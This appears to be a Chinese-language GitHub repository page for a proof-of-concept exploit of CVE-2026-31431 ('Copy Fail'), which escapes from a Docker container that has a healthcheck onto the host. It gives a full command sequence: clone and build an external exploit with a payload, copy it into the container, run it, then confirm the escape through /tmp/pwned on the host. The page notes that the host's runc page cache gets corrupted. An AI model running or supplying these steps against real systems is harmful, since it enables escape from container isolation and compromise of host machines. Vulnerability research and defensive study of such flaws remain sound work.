hans362/CVE-2026-31431-Copy-Fail-Container-Escape
GitHub: hans362/CVE-2026-31431-Copy-Fail-Container-Escape
演示利用 CVE-2026-31431 copy.fail 漏洞从启用了 healthcheck 的 Docker 容器中逃逸到宿主机的 PoC。
Stars: 0 | Forks: 1
# CVE-2026-31431-Copy-Fail-容器逃逸
## 演示
https://github.com/user-attachments/assets/2cb0cb67-789a-4461-a0b8-1fe878d9426e
## 前置条件
- 存在 CVE-2026-31431 漏洞的容器
- 已配置容器 healthcheck 且已知 healthcheck CMD
- 已获得容器内的 root 权限(如果尚未获取,可以直接利用 Copy Fail 获取一个)
本仓库中提供了 `docker-compose.yml` 用于搭建易受攻击的容器。你也可以使用任何其他存在漏洞的容器或自行搭建,**但请记住相应地修改 exploit 代码**。
## 漏洞利用步骤
```
# 在宿主机上
rm -r copy-fail-c /tmp/pwned
docker-compose up -d
git clone https://github.com/tgies/copy-fail-c.git
cp payload.c copy-fail-c/
cd copy-fail-c && make && cp exploit ../ && cd ..
docker cp exp.sh copyfail:/tmp/
docker cp exploit copyfail:/tmp/
docker exec -it copyfail /bin/sh
# 在 copyfail 容器内
cd /tmp
chmod +x exp.sh exploit
./exp.sh
# 等待几分钟让 healthcheck 运行
# 并检查宿主机上是否创建了 /tmp/pwned
# 在宿主机上
ls /tmp/pwned
```
一旦漏洞利用成功,**宿主机上 `runc` 二进制文件的页缓存将被破坏**。你可以通过在宿主机上运行 `echo 3 | sudo tee /proc/sys/vm/drop_caches` 来恢复。
## 致谢
- https://copy.fail/
- https://github.com/tgies/copy-fail-c
## 免责声明
本仓库仅供教育目的。不得用于任何恶意活动。对于因滥用此代码造成的任何损害,作者概不负责。请始终在受控且合法的环境中使用。
标签:copy-fail, Cutter, CVE-2026-31431, Docker Compose, Docker安全, Exploit, healthcheck, POC, runc, Web截图, Web报告查看器, 二进制漏洞, 客户端加密, 容器安全, 容器逃逸, 提权, 数据展示, 漏洞复现, 红队, 请求拦截, 页面缓存破坏